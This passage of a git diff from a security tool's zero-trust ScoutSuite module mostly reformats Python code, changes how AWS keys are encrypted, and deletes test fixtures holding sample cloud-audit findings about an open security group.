+++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py
@@ -1,10 +1,10 @@
from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ses_rules import SESRules
from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES
-from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \
- AbstractRulePathCreator
+from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501
+ AbstractRulePathCreator,
+)
class SESRulePathCreator(AbstractRulePathCreator):
-
service_type = SERVICE_TYPES.SES
supported_rules = SESRules
diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py
index 60a2f5b1c..bb619f92f 100644
--- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py
+++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py
@@ -1,10 +1,10 @@
from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.sns_rules import SNSRules
from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES
-from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \
- AbstractRulePathCreator
+from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501
+ AbstractRulePathCreator,
+)
class SNSRulePathCreator(AbstractRulePathCreator):
-
service_type = SERVICE_TYPES.SNS
supported_rules = SNSRules
diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py
index 619cf2ddb..19229c1d6 100644
--- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py
+++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py
@@ -1,10 +1,10 @@
from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.sqs_rules import SQSRules
from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES
-from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \
- AbstractRulePathCreator
+from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501
+ AbstractRulePathCreator,
+)
class SQSRulePathCreator(AbstractRulePathCreator):
-
service_type = SERVICE_TYPES.SQS
supported_rules = SQSRules
diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py
index 280d0933e..7f3cfecde 100644
--- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py
+++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py
@@ -1,10 +1,10 @@
from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.vpc_rules import VPCRules
from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES
-from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \
- AbstractRulePathCreator
+from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import ( # noqa: E501
+ AbstractRulePathCreator,
+)
class VPCRulePathCreator(AbstractRulePathCreator):
-
service_type = SERVICE_TYPES.VPC
supported_rules = VPCRules
diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py
index 4dce7ed2b..d724ca584 100644
--- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py
+++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py
@@ -1,35 +1,63 @@
-from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\
- cloudformation_rule_path_creator import CloudformationRulePathCreator
-from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\
- cloudtrail_rule_path_creator import CloudTrailRulePathCreator
-from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\
- cloudwatch_rule_path_creator import CloudWatchRulePathCreator
-from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\
- config_rule_path_creator import ConfigRulePathCreator
-from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\
- ec2_rule_path_creator import EC2RulePathCreator
-from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\
- elb_rule_path_creator import ELBRulePathCreator
-from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\
- elbv2_rule_path_creator import ELBv2RulePathCreator
-from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\
- iam_rule_path_creator import IAMRulePathCreator
-from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\
- rds_rule_path_creator import RDSRulePathCreator
-from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\
- redshift_rule_path_creator import RedshiftRulePathCreator
-from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\
- s3_rule_path_creator import S3RulePathCreator
-from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\
- ses_rule_path_creator import SESRulePathCreator
-from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\
- sns_rule_path_creator import SNSRulePathCreator
-from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators. \
- sqs_rule_path_creator import SQSRulePathCreator
-from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators. \
- vpc_rule_path_creator import VPCRulePathCreator
+from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.cloudformation_rule_path_creator import ( # noqa: E501
+ CloudformationRulePathCreator,
+)
+from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.cloudtrail_rule_path_creator import ( # noqa: E501
+ CloudTrailRulePathCreator,
+)
+from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.cloudwatch_rule_path_creator import ( # noqa: E501
+ CloudWatchRulePathCreator,
+)
+from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.config_rule_path_creator import ( # noqa: E501
+ ConfigRulePathCreator,
+)
+from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.ec2_rule_path_creator import ( # noqa: E501
+ EC2RulePathCreator,
+)
+from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.elb_rule_path_creator import ( # noqa: E501
+ ELBRulePathCreator,
+)
+from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.elbv2_rule_path_creator import ( # noqa: E501
+ ELBv2RulePathCreator,
+)
+from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.iam_rule_path_creator import ( # noqa: E501
+ IAMRulePathCreator,
+)
+from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.rds_rule_path_creator import ( # noqa: E501
+ RDSRulePathCreator,
+)
+from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.redshift_rule_path_creator import ( # noqa: E501
+ RedshiftRulePathCreator,
+)
+from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.s3_rule_path_creator import ( # noqa: E501
+ S3RulePathCreator,
+)
+from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.ses_rule_path_creator import ( # noqa: E501
+ SESRulePathCreator,
+)
+from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.sns_rule_path_creator import ( # noqa: E501
+ SNSRulePathCreator,
+)
+from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.sqs_rule_path_creator import ( # noqa: E501
+ SQSRulePathCreator,
+)
+from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.vpc_rule_path_creator import ( # noqa: E501
+ VPCRulePathCreator,
+)
-RULE_PATH_CREATORS_LIST = [EC2RulePathCreator, ELBv2RulePathCreator, RDSRulePathCreator, RedshiftRulePathCreator,
- S3RulePathCreator, IAMRulePathCreator, CloudTrailRulePathCreator, ELBRulePathCreator,
- VPCRulePathCreator, CloudWatchRulePathCreator, SQSRulePathCreator, SNSRulePathCreator,
- SESRulePathCreator, ConfigRulePathCreator, CloudformationRulePathCreator]
+RULE_PATH_CREATORS_LIST = [
+ EC2RulePathCreator,
+ ELBv2RulePathCreator,
+ RDSRulePathCreator,
+ RedshiftRulePathCreator,
+ S3RulePathCreator,
+ IAMRulePathCreator,
+ CloudTrailRulePathCreator,
+ ELBRulePathCreator,
+ VPCRulePathCreator,
+ CloudWatchRulePathCreator,
+ SQSRulePathCreator,
+ SNSRulePathCreator,
+ SESRulePathCreator,
+ ConfigRulePathCreator,
+ CloudformationRulePathCreator,
+]
diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py
deleted file mode 100644
index afe14c54c..000000000
--- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/test_rule_parser.py
+++ /dev/null
@@ -1,37 +0,0 @@
-from enum import Enum
-
-import pytest
-
-from common.utils.exceptions import RulePathCreatorNotFound
-from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ec2_rules import EC2Rules
-from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICES
-from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_parser import RuleParser
-from monkey_island.cc.services.zero_trust.test_common.raw_scoutsute_data import RAW_SCOUTSUITE_DATA
-
-
-class ExampleRules(Enum):
- NON_EXSISTENT_RULE = 'bogus_rule'
-
-
-ALL_PORTS_OPEN = EC2Rules.SECURITY_GROUP_ALL_PORTS_TO_ALL
-
-EXPECTED_RESULT = {'description': 'Security Group Opens All Ports to All',
- 'path': 'ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs.id.CIDR',
- 'level': 'danger',
- 'display_path': 'ec2.regions.id.vpcs.id.security_groups.id',
- 'items': [
- 'ec2.regions.ap-northeast-1.vpcs.vpc-abc.security_groups.'
- 'sg-abc.rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR'],
- 'dashboard_name': 'Rules', 'checked_items': 179, 'flagged_items': 2, 'service': 'EC2',
- 'rationale': 'It was detected that all ports in the security group are open <...>',
- 'remediation': None, 'compliance': None, 'references': None}
-
-
-def test_get_rule_data():
- # Test proper parsing of the raw data to rule
- results = RuleParser.get_rule_data(RAW_SCOUTSUITE_DATA[SERVICES], ALL_PORTS_OPEN)
- assert results == EXPECTED_RESULT
-
- with pytest.raises(RulePathCreatorNotFound):
- RuleParser.get_rule_data(RAW_SCOUTSUITE_DATA[SERVICES], ExampleRules.NON_EXSISTENT_RULE)
- pass
diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py
index 701598168..36eae6271 100644
--- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py
+++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_auth_service.py
@@ -3,10 +3,10 @@ from typing import Tuple
from ScoutSuite.providers.base.authentication_strategy import AuthenticationException
from common.cloud.scoutsuite_consts import CloudProviders
-from common.utils.exceptions import InvalidAWSKeys
-from monkey_island.cc.server_utils.encryptor import encryptor
-from monkey_island.cc.services.config import ConfigService
from common.config_value_paths import AWS_KEYS_PATH
+from common.utils.exceptions import InvalidAWSKeys
+from monkey_island.cc.server_utils.encryptor import get_encryptor
+from monkey_island.cc.services.config import ConfigService
def is_cloud_authentication_setup(provider: CloudProviders) -> Tuple[bool, str]:
@@ -15,36 +15,42 @@ def is_cloud_authentication_setup(provider: CloudProviders) -> Tuple[bool, str]:
return True, "AWS keys already setup."
import ScoutSuite.providers.aws.authentication_strategy as auth_strategy
+
try:
profile = auth_strategy.AWSAuthenticationStrategy().authenticate()
- return True, f" Profile \"{profile.session.profile_name}\" is already setup. "
+ return True, f' Profile "{profile.session.profile_name}" is already setup. '
except AuthenticationException:
return False, ""
def is_aws_keys_setup():
- return (ConfigService.get_config_value(AWS_KEYS_PATH + ['aws_access_key_id']) and
- ConfigService.get_config_value(AWS_KEYS_PATH + ['aws_secret_access_key']))
+ return ConfigService.get_config_value(
+ AWS_KEYS_PATH + ["aws_access_key_id"]
+ ) and ConfigService.get_config_value(AWS_KEYS_PATH + ["aws_secret_access_key"])
def set_aws_keys(access_key_id: str, secret_access_key: str, session_token: str):
if not access_key_id or not secret_access_key:
- raise InvalidAWSKeys("Missing some of the following fields: access key ID, secret access key.")
- _set_aws_key('aws_access_key_id', access_key_id)
- _set_aws_key('aws_secret_access_key', secret_access_key)
- _set_aws_key('aws_session_token', session_token)
+ raise InvalidAWSKeys(
+ "Missing some of the following fields: access key ID, secret access key."
+ )
+ _set_aws_key("aws_access_key_id", access_key_id)
+ _set_aws_key("aws_secret_access_key", secret_access_key)
+ _set_aws_key("aws_session_token", session_token)
def _set_aws_key(key_type: str, key_value: str):
path_to_keys = AWS_KEYS_PATH
- encrypted_key = encryptor.enc(key_value)
+ encrypted_key = get_encryptor().enc(key_value)
ConfigService.set_config_value(path_to_keys + [key_type], encrypted_key)
def get_aws_keys():
- return {'access_key_id': _get_aws_key('aws_access_key_id'),
- 'secret_access_key': _get_aws_key('aws_secret_access_key'),
- 'session_token': _get_aws_key('aws_session_token')}
+ return {
+ "access_key_id": _get_aws_key("aws_access_key_id"),
+ "secret_access_key": _get_aws_key("aws_secret_access_key"),
+ "session_token": _get_aws_key("aws_session_token"),
+ }
def _get_aws_key(key_type: str):
diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py
index 3b76194af..a97a1a2c8 100644
--- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py
+++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_rule_service.py
@@ -3,22 +3,21 @@ from monkey_island.cc.services.zero_trust.scoutsuite.consts import rule_consts
class ScoutSuiteRuleService:
-
@staticmethod
def get_rule_from_rule_data(rule_data: dict) -> ScoutSuiteRule:
rule = ScoutSuiteRule()
- rule.description = rule_data['description']
- rule.path = rule_data['path']
- rule.level = rule_data['level']
- rule.items = rule_data['items']
- rule.dashboard_name = rule_data['dashboard_name']
- rule.checked_items = rule_data['checked_items']
- rule.flagged_items = rule_data['flagged_items']
- rule.service = rule_data['service']
- rule.rationale = rule_data['rationale']
- rule.remediation = rule_data['remediation']
- rule.compliance = rule_data['compliance']
- rule.references = rule_data['references']
+ rule.description = rule_data["description"]
+ rule.path = rule_data["path"]
+ rule.level = rule_data["level"]
+ rule.items = rule_data["items"]
+ rule.dashboard_name = rule_data["dashboard_name"]
+ rule.checked_items = rule_data["checked_items"]
+ rule.flagged_items = rule_data["flagged_items"]
+ rule.service = rule_data["service"]
+ rule.rationale = rule_data["rationale"]
+ rule.remediation = rule_data["remediation"]
+ rule.compliance = rule_data["compliance"]
+ rule.references = rule_data["references"]
return rule
@staticmethod
diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py
index 63befc808..3d0cf8413 100644
--- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py
+++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/scoutsuite_zt_finding_service.py
@@ -4,16 +4,21 @@ from common.common_consts import zero_trust_consts
from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutSuiteFinding
from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutSuiteFindingDetails
from monkey_island.cc.models.zero_trust.scoutsuite_rule import ScoutSuiteRule
-from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_finding_maps import ScoutSuiteFindingMap
-from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_rule_service import ScoutSuiteRuleService
+from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_finding_maps import (
+ ScoutSuiteFindingMap,
+)
+from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_rule_service import (
+ ScoutSuiteRuleService,
+)
class ScoutSuiteZTFindingService:
-
@staticmethod
def process_rule(finding: ScoutSuiteFindingMap, rule: ScoutSuiteRule):
existing_findings = ScoutSuiteFinding.objects(test=finding.test)
- assert (len(existing_findings) < 2), "More than one finding exists for {}".format(finding.test)
+ assert len(existing_findings) < 2, "More than one finding exists for {}".format(
+ finding.test
+ )
if len(existing_findings) == 0:
ScoutSuiteZTFindingService._create_new_finding_from_rule(finding, rule)
@@ -49,17 +54,28 @@ class ScoutSuiteZTFindingService:
def change_finding_status_by_rule(finding: ScoutSuiteFinding, rule: ScoutSuiteRule):
rule_status = ScoutSuiteZTFindingService.get_finding_status_from_rules([rule])
finding_status = finding.status
- new_finding_status = ScoutSuiteZTFindingService.get_finding_status_from_rule_status(finding_status, rule_status)
+ new_finding_status = ScoutSuiteZTFindingService.get_finding_status_from_rule_status(
+ finding_status, rule_status
+ )
if finding_status != new_finding_status:
finding.status = new_finding_status
@staticmethod
def get_finding_status_from_rule_status(finding_status: str, rule_status: str) -> str:
- if finding_status == zero_trust_consts.STATUS_FAILED or rule_status == zero_trust_consts.STATUS_FAILED:
+ if (
+ finding_status == zero_trust_consts.STATUS_FAILED
+ or rule_status == zero_trust_consts.STATUS_FAILED
+ ):
return zero_trust_consts.STATUS_FAILED
- elif finding_status == zero_trust_consts.STATUS_VERIFY or rule_status == zero_trust_consts.STATUS_VERIFY:
+ elif (
+ finding_status == zero_trust_consts.STATUS_VERIFY
+ or rule_status == zero_trust_consts.STATUS_VERIFY
+ ):
return zero_trust_consts.STATUS_VERIFY
- elif finding_status == zero_trust_consts.STATUS_PASSED or rule_status == zero_trust_consts.STATUS_PASSED:
+ elif (
+ finding_status == zero_trust_consts.STATUS_PASSED
+ or rule_status == zero_trust_consts.STATUS_PASSED
+ ):
return zero_trust_consts.STATUS_PASSED
else:
return zero_trust_consts.STATUS_UNEXECUTED
diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py
deleted file mode 100644
index e08c8a290..000000000
--- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_rule_service.py
+++ /dev/null
@@ -1,54 +0,0 @@
-from copy import deepcopy
-
-from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_consts import RULE_LEVEL_WARNING, RULE_LEVEL_DANGER
-from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_rule_service import ScoutSuiteRuleService
-from monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import RULES
-
-example_scoutsuite_data = {
- 'checked_items': 179,
- 'compliance': None,
- 'dashboard_name': 'Rules',
- 'description': 'Security Group Opens All Ports to All',
- 'flagged_items': 2,
- 'items': [
- 'ec2.regions.eu-central-1.vpcs.vpc-0ee259b1a13c50229.security_groups.sg-035779fe5c293fc72'
- '.rules.ingress.protocols.ALL.ports.1-65535.cidrs.2.CIDR',
- 'ec2.regions.eu-central-1.vpcs.vpc-00015526b6695f9aa.security_groups.sg-019eb67135ec81e65'
- '.rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR'
- ],
- 'level': 'danger',
- 'path': 'ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs.id.CIDR',
- 'rationale': 'It was detected that all ports in the security group are open, and any source IP address'
- ' could send traffic to these ports, which creates a wider attack surface for resources '
- 'assigned to it. Open ports should be reduced to the minimum needed to correctly',
- 'references': [],
- 'remediation': None,
- 'service': 'EC2'
-}
-
-
-def test_get_rule_from_rule_data():
- assert ScoutSuiteRuleService.get_rule_from_rule_data(example_scoutsuite_data) == RULES[0]
-
-
-def test_is_rule_dangerous():
- test_rule = deepcopy(RULES[0])
- assert ScoutSuiteRuleService.is_rule_dangerous(test_rule)
-
- test_rule.level = RULE_LEVEL_WARNING
- assert not ScoutSuiteRuleService.is_rule_dangerous(test_rule)
-
- test_rule.level = RULE_LEVEL_DANGER
- test_rule.items = []
- assert not ScoutSuiteRuleService.is_rule_dangerous(test_rule)
-
-
-def test_is_rule_warning():
- test_rule = deepcopy(RULES[0])
- assert not ScoutSuiteRuleService.is_rule_warning(test_rule)
-
- test_rule.level = RULE_LEVEL_WARNING
- assert ScoutSuiteRuleService.is_rule_warning(test_rule)
-
- test_rule.items = []
- assert not ScoutSuiteRuleService.is_rule_warning(test_rule)
diff --git a/monkey/monkey_island/cc/services/zero_trust/test_common/finding_data.py b/monkey/monkey_island/cc/services/zero_trust/test_common/finding_data.py
deleted file mode 100644
index aaea95031..000000000
--- a/monkey/monkey_island/cc/services/zero_trust/test_common/finding_data.py
+++ /dev/null
@@ -1,23 +0,0 @@
-from common.common_consts.zero_trust_consts import TEST_SCOUTSUITE_SERVICE_SECURITY, STATUS_FAILED, \
- TEST_ENDPOINT_SECURITY_EXISTS, STATUS_PASSED
-from monkey_island.cc.models.zero_trust.finding import Finding
-from monkey_island.cc.models.zero_trust.monkey_finding import MonkeyFinding
-from monkey_island.cc.models.zero_trust.scoutsuite_finding import ScoutSuiteFinding
-from monkey_island.cc.services.zero_trust.test_common.monkey_finding_data import get_monkey_details_dto
-from monkey_island.cc.services.zero_trust.test_common.scoutsuite_finding_data import get_scoutsuite_details_dto
-
-
-def get_scoutsuite_finding_dto() -> Finding:
- scoutsuite_details = get_scoutsuite_details_dto()
- scoutsuite_details.save()
- return ScoutSuiteFinding(test=TEST_SCOUTSUITE_SERVICE_SECURITY,
- status=STATUS_FAILED,
- details=scoutsuite_details)
-
-
-def get_monkey_finding_dto() -> Finding:
- monkey_details = get_monkey_details_dto()
- monkey_details.save()
- return MonkeyFinding(test=TEST_ENDPOINT_SECURITY_EXISTS,
- status=STATUS_PASSED,
- details=monkey_details)
diff --git a/monkey/monkey_island/cc/services/zero_trust/test_common/raw_scoutsute_data.py b/monkey/monkey_island/cc/services/zero_trust/test_common/raw_scoutsute_data.py
deleted file mode 100644
index 317697632..000000000
--- a/monkey/monkey_island/cc/services/zero_trust/test_common/raw_scoutsute_data.py
+++ /dev/null
@@ -1,93 +0,0 @@
-# This is what our codebase receives after running ScoutSuite module.
-# Object '...': {'...': '...'} represents continuation of similar objects as above
-RAW_SCOUTSUITE_DATA = {
- 'sg_map': {
- 'sg-abc': {'region': 'ap-northeast-1', 'vpc_id': 'vpc-abc'},
- 'sg-abcd': {'region': 'ap-northeast-2', 'vpc_id': 'vpc-abc'},
- '...': {'...': '...'}},
- 'subnet_map': {
- 'subnet-abc': {'region': 'ap-northeast-1', 'vpc_id': 'vpc-abc'},
- 'subnet-abcd': {'region': 'ap-northeast-1', 'vpc_id': 'vpc-abc'},
- '...': {'...': '...'}
- },
- 'provider_code': 'aws',
- 'provider_name': 'Amazon Web Services',
- 'environment': None,
- 'result_format': 'json',
- 'partition': 'aws',
- 'account_id': '125686982355',
- 'last_run': {
- 'time': '2021-02-05 16:03:04+0200',
- 'run_parameters': {'services': [], 'skipped_services': [], 'regions': [], 'excluded_regions': []},
- 'version': '5.10.0',
- 'ruleset_name': 'default',
- 'ruleset_about': 'This ruleset',
- 'summary': {'ec2': {'checked_items': 3747, 'flagged_items': 262, 'max_level': 'warning', 'rules_count': 28,
- 'resources_count': 176},
- 's3': {'checked_items': 88, 'flagged_items': 25, 'max_level': 'danger', 'rules_count': 18,
- 'resources_count': 5},
- '...': {'...': '...'}}},
- 'metadata': {
- 'compute': {
- 'summaries': {'external attack surface': {'cols': 1,
- 'path': 'service_groups.compute.summaries.external_attack_surface',
- 'callbacks': [
- ['merge', {'attribute': 'external_attack_surface'}]]}},
- '...': {'...': '...'}
- },
- '...': {'...': '...'}
- },
-
- # This is the important part, which we parse to get resources
- 'services': {
- 'ec2': {'regions': {
- 'ap-northeast-1': {
- 'vpcs': {
- 'vpc-abc': {
- 'id': 'vpc-abc',
- 'security_groups': {
- 'sg-abc': {
- 'name': 'default',
- 'rules': {
- 'ingress': {'protocols': {
- 'ALL': {'ports': {'1-65535': {'cidrs': [{'CIDR': '0.0.0.0/0'}]}}}},
- 'count': 1},
- 'egress': {'protocols': {
- 'ALL': {'ports': {'1-65535': {'cidrs': [{'CIDR': '0.0.0.0/0'}]}}}},
- 'count': 1}}
- }
- }}},
- '...': {'...': '...'}
- }},
- # Interesting info, maybe could be used somewhere in the report
- 'external_attack_surface': {
- '52.52.52.52': {'protocols': {'TCP': {'ports': {'22': {'cidrs': [{'CIDR': '0.0.0.0/0'}]}}}},
- 'InstanceName': 'InstanceName',
- 'PublicDnsName': 'ec2-52-52-52-52.eu-central-1.compute.amazonaws.com'}},
- # We parse these into ScoutSuite security rules
- 'findings': {
- 'ec2-security-group-opens-all-ports-to-all': {
- 'description': 'Security Group Opens All Ports to All',
- 'path': 'ec2.regions.id.vpcs.id.security_groups'
- '.id.rules.id.protocols.id.ports.id.cidrs.id.CIDR',
- 'level': 'danger',
- 'display_path': 'ec2.regions.id.vpcs.id.security_groups.id',
- 'items': [
- 'ec2.regions.ap-northeast-1.vpcs.vpc-abc.security_groups'
- '.sg-abc.rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR'],
- 'dashboard_name': 'Rules',
- 'checked_items': 179,
- 'flagged_items': 2,
- 'service': 'EC2',
- 'rationale': 'It was detected that all ports in the security group are open <...>',
- 'remediation': None, 'compliance': None, 'references': None},
- '...': {'...': '...'}
- }
- },
- '...': {'...': '...'}
- },
- 'service_list': ['acm', 'awslambda', 'cloudformation', 'cloudtrail', 'cloudwatch', 'config', 'directconnect',
- 'dynamodb', 'ec2', 'efs', 'elasticache', 'elb', 'elbv2', 'emr', 'iam', 'kms', 'rds', 'redshift',
- 'route53', 's3', 'ses', 'sns', 'sqs', 'vpc', 'secretsmanager'],
- 'service_groups': {'...': {'...': '...'}}
-}
diff --git a/monkey/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py b/monkey/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py
deleted file mode 100644
index fb9722ca2..000000000
--- a/monkey/monkey_island/cc/services/zero_trust/test_common/scoutsuite_finding_data.py
+++ /dev/null
@@ -1,75 +0,0 @@
-from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutSuiteFindingDetails
-from monkey_island.cc.models.zero_trust.scoutsuite_rule import ScoutSuiteRule
-from monkey_island.cc.services.zero_trust.scoutsuite.consts.scoutsuite_finding_maps import PermissiveFirewallRules, \
- UnencryptedData
-
-SCOUTSUITE_FINDINGS = [
- PermissiveFirewallRules,
- UnencryptedData
-]
-
-RULES = [
- ScoutSuiteRule(
- checked_items=179,
- compliance=None,
- dashboard_name='Rules',
- description='Security Group Opens All Ports to All',
- flagged_items=2,
- items=[
- 'ec2.regions.eu-central-1.vpcs.vpc-0ee259b1a13c50229.security_groups.sg-035779fe5c293fc72'
- '.rules.ingress.protocols.ALL.ports.1-65535.cidrs.2.CIDR',
- 'ec2.regions.eu-central-1.vpcs.vpc-00015526b6695f9aa.security_groups.sg-019eb67135ec81e65'
- '.rules.ingress.protocols.ALL.ports.1-65535.cidrs.0.CIDR'
- ],
- level='danger',
- path='ec2.regions.id.vpcs.id.security_groups.id.rules.id.protocols.id.ports.id.cidrs.id.CIDR',
- rationale='It was detected that all ports in the security group are open, and any source IP address'
- ' could send traffic to these ports, which creates a wider attack surface for resources '
- 'assigned to it. Open ports should be reduced to the minimum needed to correctly',
- references=[],
- remediation=None,
- service='EC2'
- ),
- ScoutSuiteRule(
- checked_items=179,
